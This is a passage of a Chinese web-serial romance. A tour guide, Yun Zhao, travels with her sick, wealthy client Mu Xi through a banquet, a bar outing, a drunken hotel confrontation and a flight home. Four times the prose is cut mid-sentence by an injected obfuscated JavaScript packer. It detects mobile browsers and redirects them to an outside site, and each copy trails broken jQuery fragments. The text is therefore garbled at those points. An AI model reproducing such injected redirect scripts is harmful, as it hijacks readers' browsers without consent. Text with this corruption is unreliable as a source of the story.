下飞机后慕熙精神越发的虚弱,云昭推他出去时看见他向来直挺的脊背也有些弯曲,斜靠在轮椅上,一只手抵住了心口。
一辆豪华轿车早早在航站楼外等待,接机的还是出发前那位西装革履的年轻人。
上车后慕熙直接开始处理文件,和那位年轻人谈论工作上的事,他们没打算避开云昭,云昭也不敢胡乱插嘴,乖乖坐在后排。
车子里灯光明亮,街景在窗外流动。
云昭坐在慕熙身边,看见他面色惨白,嘴唇隐约发紫,眉心也拧成了褶皱,明显身体不适。
但他视线始终落在文件里,仿佛没有察觉。
车子拐过了两个弯,趁着等红灯的功夫,云昭从自己保温杯里倒了一杯热水给他,“慕先生,歇会儿吧。”
此时,慕熙正和荆珉讨论到上次合同纰漏引发的事故,两个人恰好说到最关键的部分,慕熙脑子里全是紧张的风险应对措施,猝不及防被她打断了。
荆珉最熟悉他的脾气,慕熙这人效率极高就是因为做事情太过于专注,因此他也最不喜欢思路中断,在公司时,他们就算有十万火急的事也只能留言,决不能贸然找他。
荆珉下意识打圆场:“慕总,云小姐她也是……”
慕熙没给他机会,忽然合起文件转头看向云昭,一张俊脸冷淡漠然。
云昭的心又紧起来。
天知道她刚才已经等待很久了,但是他俩的谈话就没停过,眼看着慕熙脸色越来越白所以她不想再等了,脑门一拍自
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126762|196111||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
作主张。
她这老好人的毛病真得改了!
慕熙的手缓缓伸过来。
云昭害怕。
小心脏砰、砰、砰。
细白的指尖快要触碰到杯壁时,她忍不住了:“对不起慕——”
慕熙的手略过了那只杯子,直接拿起了她的保温杯。
然后,对嘴喝。
她的杯子是在精品店随手买的粉红草莓熊卡通杯,杯口也是粉色的,他一点也不介意云昭用过,很自然的喝水。
云昭傻眼了。
荆珉也惊呆了。
慕熙喝了热水,也不打算把保温杯还给云昭了,兀自抱在怀里,顺手把文件都扔给副驾的荆珉。
他认准了云昭不会推开他,又朝她靠来,白着一张脸淡淡对荆珉说:“你知道我坐飞机会犯心绞痛,为什么还不让我歇会儿,从下飞机起就一直聊工作。”
他一副病入膏盲虚弱无力的样子,脑袋倚靠在云昭肩头,有点分寸但是不多。
荆珉闭上眼睛。
有种被蚊子骂了一晚还要写感谢信的感觉。
他深深吸一口气,对云昭说:“的确是我考虑不周,辛苦云小姐照顾照顾慕总,他身体不太好。”
说完没一会儿,一条毯子直冲着慕熙肚子扔过来。
慕熙嘴角微抽,没说话。
云昭先忙活起来了,一边给慕熙盖毯子一边说:“哎呀轻点轻点,别给你家慕总砸坏了。”
东城市的气温略低一些,现在又是晚上,他只穿了一身单薄西装,还是个犯了心绞痛的病人。云昭估计他早就冷得受不了了,用柔软温和的毯子护住了他全身,不让一丝寒冷钻进来。
“云小姐。”慕熙难得声音温柔,“你的保温杯不透热。”
“我买了质量还不错的。”云昭把手伸进毯子下摸了摸,他的手背果然已经冷得惊人了。
云昭只好用自己柔软暖和的手掌裹住他冰凉的手指。他个子高,手也比她宽阔,她的手盖不完,只能轻轻将他细长的手指团起,紧紧握在掌心。
两个人心照不宣。
前排的荆珉假装看不到,一路无言的司机却热心开口了:“慕先生,要开空调吗?”
荆珉:“……”
默默转头看了司机光秃秃的脑袋一眼。
慕熙沉默良久,温顺靠在云昭身上,低低的说:“不了,开空调我会晕车。”
荆珉憋了又憋,最后还是憋不住笑意,转头望向车窗外。
绚丽的夜景在眼前流转,车窗上,照出了后排两人相依的身影,有一个人嘴角挂着淡淡的笑。
其实,荆珉至今不知道这位云小姐是什么来头。
但是他已经见过她很多次了。
在东城这座大城市里,她有时在奶茶店当手忙脚乱的店员,有时在花店当脚步匆匆的配货员,有时在画铺当画技堪忧的学徒……但是只要有她在的地方,没过多久就会长出一个慕先生。
在这短短几年中,他们已经蓄意重逢很多次。
而这一次,是云小姐第一次握住慕先生的手。
12. chapter 12
抵达东城后的第二天傍晚,慕熙准时赴宴。
宴会厅里富丽堂皇奢华大气。这次来的人很多,都是一些有头有脸的权贵,安保做的比平时严格许多,慕熙的轮椅被人拦下检查好几遍,才恭敬还到他面前。
荆珉在前面小心搀扶慕熙,身后跟着周珩豫。周珩豫脸色不太好,不悦全写在脸上,荆珉给慕熙打理好腿上的毯子,回头提醒他:“别给慕总丢人。”
慕熙沉声:“进去过后注意别叫我慕总。”
两个人都点了头。
会上几位东家都是东城业内龙头,拥有绝对不可撼动的地位,尤其是陈家,早年影响力就已经广泛辐射周边,后来更是借了东风扶摇直上势如破竹,现在要雨得雨要风得风。
刚进门便有人来同慕熙客套喝酒,有几位是前两年的合作对象,但更多的还是生面孔。荆珉和慕熙一人一只高脚杯,接连不断的红葡萄酒喝下去,两个人脸上却不见一点酒色。
周珩豫就在旁边看着,他很少跟他们出来应酬,荆珉自然不比多说,但慕熙的神色也同样滴水不漏,他是今天整个宴会厅最年轻的一位,看上去却是一样的精明老练,银丝边框下的瞳仁似乎波澜不惊又仿佛暗流涌动。
他很佩服。
倒完香槟塔后宴会正式开始,古典乐旋律变得轻快灵动,觥筹交错间,有位颇上些岁数的长辈在众人簇拥下过来。
他站在半米外,见到慕熙,笑得十分和蔼,开口唤他:“熙儿。”
慕熙顺从道:“陈教授,别来无恙。”
陈殊微微笑:“你这孩子,转眼就长大了。现在身子骨怎么样?”
刚才荆珉特意用毯子把慕熙双腿都裹得严严实实,他身体瘦削,虚靠着轮椅,看上去真像个重症病人,细白的手指轻轻摩挲膝盖,淡淡道:“身子好多了,就是这腿一直没好利索。”
说着,慕熙有意无意掩唇咳了两声。
陈殊见惯了他这副病怏怏的样子,满眼都是心疼,作势就要让人带他去休息。
慕熙摆摆手,拢了拢毯子,转头温声唤:“珩豫,你过来。”
周珩豫站过来。
他遗传了他父辈那副伟岸身姿,天生高壮个子,眼睛又大又黑,以前在温哥华时只要得了闲就去玩帆船,皮肤也被阳光和海浪烤成了小麦色,在这场合下干净的跟一颗明珠似的。
陈殊见了,眼前一亮:“这是……周航的孙子?”
慕熙笑着点头。
周珩豫乖巧打招呼:“陈教授,老爷子最近忙,托我跟您打声招呼,说是好久没一起喝茶了,您有空可以多去去望山。”
陈殊对他很满意,呵呵笑几声,连连招手唤他过来,“你这孩子,上回见你还是你满月宴上吧?真是个好孩子,来,快过来好好跟你陈爷爷聊聊。”
众人簇拥着又要离开,走出两步,陈殊又想起什么,回过头来对慕熙说:“熙儿,你就别喝酒了。”
慕熙又咳一声,点点头。陈殊仿佛还是不放心,吩咐旁边人:“你们可都看着点,谁也不准让熙儿喝酒。”
眼见他走远,慕熙偏头示意:“小珉,你跟着。”
身旁的荆珉应了一声,神色复杂:“阿熙,路上刚知道的消息,今天那位慕总恐怕也要来,你多小心。”
慕熙垂眸,面色发白,“知道了。”
-
云昭意外收获了一整天的自由。
下飞机后她直接被安排去了一家酒店,慕熙什么也没交代就走了,他身边那年轻人解释说他们明天晚上要去开会,所以她可以自行安排白天的活动。
云昭是闲一秒都浑身难受的人,难得来了个带薪假期,她先是回东城的住所取了一些东西,接着联系了叶笑雪。
叶笑雪是云昭的同事,两个人在飞飞旅行社的工位临近,虽然认识时间不长,但十分投缘。云昭刚来旅行社那两周几乎都是叶笑雪手把手教她,加上两人是老乡,自然就成了朋友。
恰好今天叶笑雪也调休,她们就约着一起出去玩。
云昭习惯了一分钱掰成两分花,叶笑雪也差不多,两个人通常就是逛逛商场,运气好赶上打折买点衣服,最后随便吃点小吃。
今天运气似乎格外好,云昭二折买到了一直想买的那条裙子,叶笑雪说:“走吧,咱们去喝两杯庆祝庆祝!”
云昭:“买到衣服庆祝什么?喝酒多贵啊,日子不过了?”
叶笑雪长相温温柔柔,细长的眼睛弯成月牙:“好吧,其实是陈孔雀啦。他刚才发消息叫我们一起去玩玩,据说有很多帅哥哦。”
云昭惊讶:“咱们要去酒吧?还有帅哥?”
叶笑雪脸有点红:“嗯!”
邬州市民风传统朴素,夜生活几乎没有,加上云华林管得严,云昭活到二十多岁连酒吧大门都没进过,更别提进去喝酒。
她心里有点忐忑,又有点期待。
晚上九点半,夜色黑透,东城市灯火通明,云昭换上了新买的裙子,还化了淡妆,叶笑雪也卷了头发,两人一起去找陈孔雀。
酒吧里灯光昏暗,音乐声震耳欲聋,各类酒的气息交织在一起,男男女女们都很年轻,穿得时尚漂亮。
云昭和叶笑雪两人一看就是新来的,东张西望蹑手蹑脚,刚进来就要有一位男士朝她们举杯。云昭脸颊都烧起来了。
“昭昭,小雪,过来!”陈孔雀远远朝她们招手。
他订了前三排正中间的卡座,十人座的沙发只有他一个人,比平常还打扮得花枝招展,一件衬衫上恨不得集齐十八种颜色。
陈孔雀手里拎着两瓶酒,她们刚过去就被一人塞了一瓶,“喝喝喝,别客气,今天老板我请客!”
云昭和叶笑雪对视一眼:
失恋了。
陈孔雀每次失恋都是这鬼样子,看起来非常开心但是喝酒无节制,旁边酒瓶子已经能垒起半米高了,以前都是副总陪他喝酒,但最近副总出差了。
嘈杂喧嚣的环境里,陈孔雀一边往嘴里灌酒一边说自己被踹得有多惨,凄凄惨惨哭诉了半小时,云昭实在受不了了,打断他:“你说好的帅哥呢?”
陈孔雀一愣,“你丫就冲这来的?”
“不然呢?”
陈孔雀恨她无情,但还是招招手,没一会儿就过来了几个帅哥美
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126763|196111||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女,都穿得十分清凉,黑发长腿的帅哥穿了身v领雪纺衫,大半个胸膛都在外面,面含微笑在云昭身边落座,与她间隔不到五厘米。
云昭惊呆了,从座位上弹起来落到陈孔雀身边,咬牙切齿:“陈孔雀,你搞什么,我不是要这样的帅哥!”
陈孔雀往玻璃杯里倒酒,说话间都是浓浓酒气,嘲笑她:“酒吧里你不想要这款你想要哪款?斯文禁欲?冷淡多金?哦……慕熙那款?”
云昭听到这名字,一下子就愣住了。
陈孔雀一脸得意。
旁边正在悄悄推搡帅哥的叶笑雪也凑过来,“你们在说谁?”
注意力被岔开,陈孔雀终于有点人样了,他靠向沙发,花花绿绿的衬衫解开一颗纽扣,翘腿道:“想不想听那位慕先生的八卦?”
叶笑雪自然也知道这尊大佛,赶忙点头,“想听想听!”
云昭心里有根弦像被狠狠拨弄,弹得慌张,“别,别说吧……”
陈孔雀才没管她,手里杯子一晃,悠悠道:“不知道你俩有没有注意过,咱办公室对面,是不是有几栋特别漂亮、特别哥的楼?”
叶笑雪点头,“难不成——”
“对,他家里的。”陈孔雀喝了一口,“不过人家那可是家族集团,产业涉及方方面面,具体情况我都不了解。”
云昭不明白这是什么概念,她只知道这意思是慕熙非常富有。
而她昨天刚带这位非常富有的青年去了一家环境很一般的餐馆吃饭,今早的备忘录上写着他全程黑脸不说话。
云昭心虚瞄了陈孔雀几眼,唯恐他问起这事。
还好陈孔雀专心讲八卦,“不过这位慕先生好像跟家里关系不行。我好多年前见过他一回,那会儿还是天之骄子,他家里长辈随手就送了栋檀洛湾的房子给他当进步礼物,但是没过几年,慕家的场合都见不到他了,也没人对外解释过。”
叶笑雪说:“跟家里决裂了?”
陈孔雀摇头:“应该不至于,因为这次旅程是他母亲亲自打电话给我家老头子,说务必派出最优秀的导游,一定要照看好他。”
说着,陈孔雀看了云昭一眼。
云昭更心虚了,弱弱开口:“是不是因为他生病了,不方便露面啊……”
“世家豪门的事,谁知道呢。”
叶笑雪琢磨一会儿:“昭昭,你要和他一起待那么久,直接问他呗?”
云昭缩着脖子摇头,旁边那坦荡的帅哥给她倒了一杯树莓汁,贴心递到她唇边。云昭受宠若惊,紧张喝了一口,“这种事我哪敢乱问啊?慕先生脾气烂到你们无法想象,要是惹他生气,咱们吃不了兜着走。”
叶笑雪刚要开口,忽然脸色一变。
陈孔雀的笑容也瞬间僵在脸上。
云昭正疑惑着,渐渐感觉背后冒起了一股寒气。
回过头,一只苍白瘦削的下巴落在她视线里,往上看去,刀削斧刻的轮廓中,深邃俊朗的眉眼在灯光下晦暗不明。
来人的嗓音冰冷低沉,却在一片嘈杂中清晰分明:
“我脾气还不错。云小姐有什么好奇,尽管问吧。”
13. chapter 13
“啊啊啊——”三个人抱在了一起,陪玩的美女帅哥一溜烟跑得没影。
挤在中间的叶笑雪先反应过来,缩在云昭脖子下,小心翼翼说:“我们这样,好像偷情被逮啊……”
云昭一惊,放开手。
陈孔雀也放开,拍拍脑袋清醒过来,赶忙上前赔笑:“哎呀哎呀,什么风把慕先生吹来了,今晚的事已经忙完了吗?早知道我去接您,来都来了,咱要不一起喝点?”
慕熙的轮椅停在沙发后被台阶上,比他们高出一截,居高临下俯视他们。
灯光下,他那身西服似乎格外尊贵,暗黑的布料泛着丝丝光泽,领结质感细腻,袖口嵌了墨绿色的宝石,低调又雅致。
云昭这才发现慕熙今天还做了发型,细碎的刘海全部一丝不苟梳理起来,整张俊脸坦露,极致的英气直击她的灵魂。
慕熙一双眼睛始终盯着云昭:“多谢陈总,我就不多喝了。不知道云小姐忙完没有,能不能回去继续行程?”
云昭腿都要软了,她起身就要走,却忽然被叶笑雪抓住胳膊。
叶笑雪向来温软,但是该硬气的时候从不退缩,声音发着抖说:“可是现在,是,是下班时间。”
旁边的陈孔雀要吓死了,“小雪你干嘛?”
云昭感动的都想抱着她哭了,但是她还清晰记得自己备忘录上加粗的一条:【慕先生说过下班时间是20天后,期间不得擅自离开,如有违反后果很惨。】
天杀的资本家。
他给的太多了!
云昭含泪挥别陈孔雀和叶笑雪,拎着包狗腿上前推轮椅:“公主您请,小心,这路不平别颠着您。”
昏暗中,后面的荆珉对陈孔雀颔首示意,转身跟了上去。
从酒吧里出来,只一道门的距离,几乎瞬间世界就清净了。云昭的耳朵还在嗡嗡作响,脑子里仍是动次打次的旋律。
慕熙领着她上了一辆黑色轿车,一路往酒店开。
狭窄的空间里,云昭许久才回过神来,慢慢嗅出一丝怪异:“慕先生,你也喝酒了?”
云昭埋头闻了闻自己衣服和头发,没有味道,前排的司机和荆珉也隔很远,酒气就是从旁边人身上逸散而出的。
慕熙的脸一如既往的苍白,不像一般醉酒的人满脸潮红,“嗯,喝了点。”
云昭眯起眼睛瞧他,他也转头朝她看来。
他漆黑的瞳孔迷离失焦,睫毛眨动缓慢,醉态逐渐分明,酒气似乎比刚才的陈孔雀还浓。
副驾的荆珉沉声开口:“你为什么喝那么多!”
荆珉向来好脾气,又是个深谙世事八面玲珑的人,这会儿大概是气极了,连云昭都听出他的责怪。
慕熙却什么也没说,深深望了云昭一眼,闭眼靠向了椅背。
城市的灯火在窗外流动,层层高楼中的光芒透过玻璃,如斑驳星光落在慕熙脸颊上。
他看起来疲惫又难受。
脑袋半倚着窗户,一只手掌抓住膝盖,嘴唇抿成了一条薄线,连呼吸都很吃力。
抵达酒店门口,荆珉去摆弄轮椅,云昭则绕到门边扶慕熙下来。
他不知是醉得厉害还是病入膏肓,浑身无力,云昭勉强把他的双腿托出来,刚试着扶他起来,他就身子一晃跪倒下去。
双膝狠狠磕在坚硬的地面,慕熙本能伸手去支撑,右手却也瘫软下去,整个人摔在地上。
云昭吓得懵住,一旁的荆珉眼疾手快来拉他,刚拉住他的胳膊就被他甩开。
“别碰我!”他低吼。
刚才那么一摔,慕熙一双腿都瞬间没了知觉,他拿左手支在地上,但也没力气起来。酒店门童都赶了过来,谁也不敢动。
慕熙的皮肤十分脆弱,在地上随意一蹭就擦出大片血珠,但他像是一点也感觉不到痛,硬生生从地上磨过去,朝着云昭伸出手:“过来扶我。”
云昭想也没想扑上去抱他,慕熙的身体已经不受控制颤抖起来,云昭试图把他扶起,他却转身一把抱住她。
粗粝的呼吸落在云昭脖颈上,酒气在两人之间蔓延。
云昭听到男人压抑的喘息,以及喘息中竭力压抑的痛苦,他口中含着腥气,一字一顿道:“昭昭,我搞砸了……”
“搞砸什么?”
“全部。”
云昭惊恐:“慕先生?”
“我的……全部。”
他用面颊贴住她的锁骨,脑袋微垂,静静闭上了眼睛。
荆珉狠狠攥紧了拳头,转头对酒店吩咐:“别看了,快去准备药和水!”
慕熙已经不省人事,荆珉把他横抱起来快步去到房间。云昭跟在后面,每走一步都心脏猛跳。
她是个共情能力极强的人,爸爸说过她的慈悲和热心是天赐的礼物。每次她看到有人伤心时自己也会难过——
所以刚才,她几乎有被人生生撕开心脏的感觉。
她也不知道原因,她明明很怕慕熙,但是每次看到他痛苦的模样,她一身的骨头仿佛都被敲碎了,冷风簌簌刮进身体,抢夺着她最重要的东西。
长廊铺着厚厚的地毯,灯光典雅昏暗,这栋大楼的最高层静悄悄的,一路走来没有任何嘈杂。
慕熙被放到床上,他很平静,双目轻阖,修长的身躯微微蜷缩,唇边慢慢淌出了一丝血。
云昭仓皇回头,几步外,荆珉立在壁灯阴影下,冷漠的说:“只是喝多了胃出血。他现在不会去医院,严重了再联系我。”
他转身要走,云昭叫住他:“不好意思,请告诉我你的名字。”
荆珉回头朝云昭看来。
房间里只开了一盏灯,这位年轻人气质也是难得的出众,西装革履英气挺拔,不过他现在丝毫没有在火车站送行那天的随和,浑身透着冷酷无情。
“我叫荆珉,他的特级助理。”
云昭点头:“我记下了。”
房门关上,回归平静,云昭转过头,看见床上的人睁开了眼睛。
云昭惊讶:“你没睡啊。”
“疼,睡不着。”慕熙双目无神,半张脸埋进被子里,低声道:“这是你昨天睡过的位置。”
云昭怔愣,“是,你要换吗?”
她刚起身准备扶他,慕熙伸手就拽住了她的衣袖:“回来!”
云昭趔趄跌坐下来,呆呆和慕熙对视。
冷暗光芒交织下,慕熙望着她那张用心打扮的脸,想起刚才坐在她身边的男人,想起她说他脾气很烂,想起她不顾一切维护沈斯安,想起她半夜扔下他离开……
埋藏在心底某处、挤压了上千个日夜的情绪仿佛又被点燃了,火气在酒气催化下越发严重,烧得他理智全无,身上的疼痛也消失殆尽。
慕熙抓住床沿坐起来,抬手擦掉唇边的血迹,手臂伸长直接把她勾进怀里。
云昭惊叫:“慕先生?!”
慕熙面颊终于显出一点红:“我叫慕熙!”
云昭安抚他:“好好好,慕熙,咱好好说话,别动手。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126764|196111||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
慕熙却根本不听,反而加大力气把她禁锢在怀里。
他的怀抱丝毫不温柔,仿佛要把她揉进自己胸膛,不给她留喘息的空间。
云昭开始怕了,用力挣扎,但他力气大的可怕,她不禁拍着他的肩膀大喊:“慕熙,放开我!”
慕熙今天铁了心不放开她,云昭试着掰他的胳膊,但他毕竟是个男人,还是个醉鬼,她使出吃奶的劲儿也没从他怀里挣开。
“你疯了!”云昭危机意识向来强烈,再也顾不上那么多了,无论给多少钱也不能把小命和清白都搭上。
索性慕熙到底是个病人,云昭又刚好是个力气偏大的女生,她狠下心来铆足劲一口咬在他胳膊上,趁着他吃痛,一把推开了他。
从他怀里钻出来的那一刻,云昭大概是出于惯性和本能,反手一巴掌重重甩在他脸上。
啪——
世界立马安静了。
云昭站在床边喘气看他。
那响亮的一巴掌直接将慕熙打得偏过头去,鲜红的血丝又从他嘴角慢慢淌出来,他没有动,更没有说话。
“你……”云昭咽了口水。
宽敞静谧的总统套房。
这是昨晚他给她开的房间,他安安静静坐在她躺过的位置,身上包裹着属于她的水果香气。
房间里气氛冰凉,云昭喘粗气的声音渐渐变慢,东城市的灯火从落地窗外照进来,照在了雪白的床铺上。
慕熙手指垂在床上,指节擦伤的血液已经凝固。
沉默了好久,他终于颤抖着问了出来:“你真的爱过我么?”
云昭怔住。
慕熙回过头来。
他为了赴宴做的发型已经有些凌乱,几缕黑发落下来,眼里光芒细碎,面庞毫无血色,唇边的血接连不断流淌。
看上去像一尊脆弱的琉璃。
“你以前说过的话,到底有哪一句是真的?”慕熙眨眼间,一滴清泪猝不及防落下来。
“你把我赶回东城,让我好好治病,我照做了,我跪下求他们给我治病……但是这么多年你一次都没有来过,你好像一点也不担心我会死,我躺在手术室里给你打电话,你也一次都没有接听。”
云昭的心脏在胸腔里砰砰乱跳。
她不知道他在说什么,但是那种奇特的感觉又升上来,即便上一秒她对他避之不及,但看到他难过,她居然还是忍不住的心脏抽疼。
她的同理心在这个人身上简直毫无节制,像被下蛊了。
“所有人都喜欢沈斯安,现在连你也一样,无论我怎么做、无论我多么努力,永远都不如他。”
“其他人怎样我都不在乎,但是你……明明我才是你的爱人,我才是你亲口承认的爱人。”
慕熙被喉间腥气呛得咳嗽,抬手掩唇,血沫洒在苍白的手掌和伶仃腕骨间,如岩浆般滚烫。他出神盯看着,眼里流出无法抑制的悲哀。
云昭小心上前。
她听出来了,慕熙和他那表哥好像是情敌,他喜欢的女孩不仅不喜欢他,好像还给他戴了绿帽。虽然不知道是何方神圣给他迷成这样,但他看上去实在有些可怜。
刚才估计是把她认成了那女孩,一时之间情难自抑。
“也好……以后不会再缠着你了。”慕熙静静望向她,被酒精麻痹的神经慢慢复苏过来,他的每一个器官、每一根骨头、每一寸皮肤都开始疼痛。
他心有万千不甘,但还是释然。
“我也,没有时间了。”
14. chapter 14
稀里糊涂吵了一架后,两个人谁也没再说话了。云昭很想问慕熙“没多少时间”是什么意思,但她觉得醉鬼的话恐怕还没有白痴有可信度。
这家酒店的总统套也只有一张床,云昭不敢再挑衅慕熙的神经,抱了一床被子去沙发上睡觉了。
慕熙挨了云昭那一巴掌过后好像真的清醒了,吵完过后去卫生间吐了很久,出来后还自己洗漱一番。
他虽然神志不清,但礼貌教养是刻进骨子里的,为了不吵到云昭,他几乎没有发出声音,连咳嗽都能压住。
幽幽黑夜里,云昭只听见窸窸窣窣轮椅转动的声音,以及药片颗颗落下的声音。
他吃了很多药,然后,一夜未眠。
第二天早晨。
云昭起床时看见自己躺在床上,白色窗帘透出一条缝隙,阳光穿过那条缝隙落在她指尖。
她每天早上要看的备忘录也被细心放在枕边,一转头就看见了。
云昭揉搓头发起床,光脚踩在地板上,小心走出房间。
明亮宽阔的客厅里,窗纱半掩,那人穿了一件纯黑色风衣,沉默坐在沙发上。
他还是那样消瘦苍白,面庞干净清秀,鼻梁上又架起了那副银丝边框眼镜,手指支着额角,平静望着茶几上的电脑。
“慕先生。”云昭规规矩矩唤了一声。
慕熙朝她看过来。
他左侧脸颊有一道红痕,大概是被她的指甲刮破的。他已经恢复了那副冷漠疏离的样子,随口应了一声。
云昭不知道他昨晚怎么把她抱去床上的,反正她一点感觉也没有。
昨晚睡前的冲突还历历在目,上一次在邬州宾馆的冲突云昭也还记在备忘录上不敢忘,这趟行程变成这样,云昭已经不知道该不该继续下去了。
她立在玻璃窗前,嗫嚅开口:“慕先生,那个,咱们这次的……”
话没说完,慕熙的电话响起来。
他扫她一眼,没有避开她。
慕熙的眉宇间满是疲倦,眉心褶皱深深陷下去,他沉默听完对面人的话,冷淡开口:“嗯,让他们把手头工作停了,已经开展的全部撤下来。”
他顿了顿,又道:“出了点意外,陈殊那边没点头。”
“原因你不需要知道。”
“就这样。”
慕熙挂断电话,似乎更加累了,眼镜摘下来随手扔在身侧,埋头缓了一会儿。
云昭知道,是他们工作上遇到麻烦了。
“你刚才想说什么。”慕熙低垂着头问。
云昭手指绞在一起,昨晚他醉酒失控的样子还在她脑子里,备忘录上打了好多个感叹号来提醒自己,她应该立刻申请终止行程的,甚至报警抓他也不为过。
但是……
“慕先生,”云昭鼓起勇气,“咱们,什么时候回邬州?”
慕熙抬起头来。
云昭看见他眼里布满红血丝,眼下也覆盖着淡淡一层青,给他原本就脆弱的脸上更添几分憔悴,掩在黑色风衣里,他像一座孤立荒芜的岛屿。
“你想继续当我的导游么?”他哑声问。
云昭怔住。
在一种毫不理智的情绪下,云昭莫名的笃定,如果她离开,他这座岛屿很快就会坍塌。她其实已经在心里和理智对抗很久了,最后还是选择了赌一把,就当是为自己成为导游的第一段行程负责。
云昭郑重点头。
慕熙看了她许久,淡淡笑起。
今天天气很不错,阳光浓淡适中,穿过纱帘落在他的面颊上。
云昭悄悄歪了歪脑袋,不禁想着,这个人一旦笑起来,就成了全世界最好看的人。
虽然不笑的时候也是。
从酒店出来,他们坐上了前往机场的车,云昭还是担心慕熙的身体,但他说想要尽快回邬州,云昭便也只能顺着他。
大概因为过量饮酒,慕熙的状况明显比前两天还糟糕,他什么也吃不下,站不住,甚至在车上也坐不太稳。
云昭只能当人形靠枕让他靠着。
他也很自然的倚在云昭怀里,降下车窗,任由阳光照在脸上。
“你别受风了。”云昭把他身上的毯子捂严实了一些,摸了摸他的手指,还好,不算太凉。
慕熙闭着眼用鼻尖蹭蹭她的肩膀,低低应了一声。
云昭想了想,问:“慕先生,你能告诉我你的心脏病究竟有多严重么?”
昨晚吵架后,备忘录里第一条就写着要问他这件事,她从出门前就一直记着。
慕熙睁眼看向她,他从低处看来,显得眼睛格外通透明亮,睫毛很长。
他没瞒她:“二十天后要做手术。”
“风险很大么?”
慕熙沉默。
云昭也沉默了。
慕熙的发丝扫过她的脖颈,他发质很好发丝松软,扫得她脖子发痒。慕熙问:“怎么,是不是因为打了一个病人而内疚。”
云昭一惊,脸都红了,“你还说,都是因为你胡来!下次再这样我一定会报警!”
慕熙没说话,云昭转头去看他的脸。
那道红痕不算太长,要是他再皮糙肉厚一点估计连个印子都没有,云昭试着伸手摸了摸,“到了邬州给你上点药吧,别留疤了。”
“多谢。”慕熙声音温和,“但如果不久后我死在手术台上了,我不会忘记生命的最后还在挨打。”
“……”云昭发现这人今天心情似乎还挺不错,居然还开始冷幽默了,“别记这些啊,多记记我对你的好。”
“你对我好?”
“我对你还不好吗?”云昭眨眨眼。
慕熙摇头,“很不好。”
“喂,这话说的可就丧良心了啊,我以德报怨忍辱负重你察觉不到吗?”
慕熙眯眼,“忍辱负重?这趟行程我支付了你们单次行程最高价的一百倍,你们陈总承诺还会给你升职加薪,这也忍辱负重吗。”
云昭愣住:“你说多少倍?”
慕熙:“一百倍。”
“!”云昭感觉一身的血都往脑袋上翻涌。
陈孔雀口中的十倍她每天都要在本子上抄一遍以免自己算提成的时候忘记,结果这个奸商比她想得还奸商,居然直接抹掉一个零
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126765|196111||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!要早说是一百倍她昨晚下手打人也得轻点!
火气直冲心底,云昭掏出手机发送消息
【陈孔雀,你这辈子哪怕泡上妹子都只能是下面那位。】
这是叶笑雪教她的只针对陈孔雀一人的最强侮辱。云昭虽然不懂,但她知道叶笑雪这姑娘表面看着柔弱,但是每天下班回去都要看点强制宠爱霸道总裁这种震惊地球人的小说。
果然,没一会儿陈孔雀就给她发八百条消息轰炸。
慕熙默默看她骂人,半晌才开口:“昭昭,你经济上如果有困难,我可以提供帮助。”
云昭发泄完,收起手机利落摇头,“不必了,我没什么困难,过得挺幸福的。”
慕熙点头。
果然,这一点上她还是和以前一样。
到了机场后,几位早早等候的工作人员带着云昭和慕熙去了贵宾休息室,一路服务周到,还有医生跟着为慕熙检查身体。
云昭哪体验过这种待遇,她就跟刘姥姥进大观园似的,落座后就急忙说:“我想吃饭!”
慕熙摆摆手由着她。
没一会儿饭菜端上来,慕熙独自坐在沙发上看云昭吃饭。
她点了很多,满满当当食物的香气在开阔的空间里弥漫,云昭吃得很开心,但慕熙昨晚喝酒伤了胃,现在闻了食物味道就犯恶心,俊俏的眉头皱巴巴。
云昭想让他吃点,他拒绝,云昭直接把饭菜都端到茶几上,慕熙动又动不了,被迫近距离闻味道。
终于在云昭第三次把一只鲅鱼水饺凑到他嘴唇边时,慕熙忍无可忍推开她,抓起垃圾桶哇哇大吐。
云昭:“……”
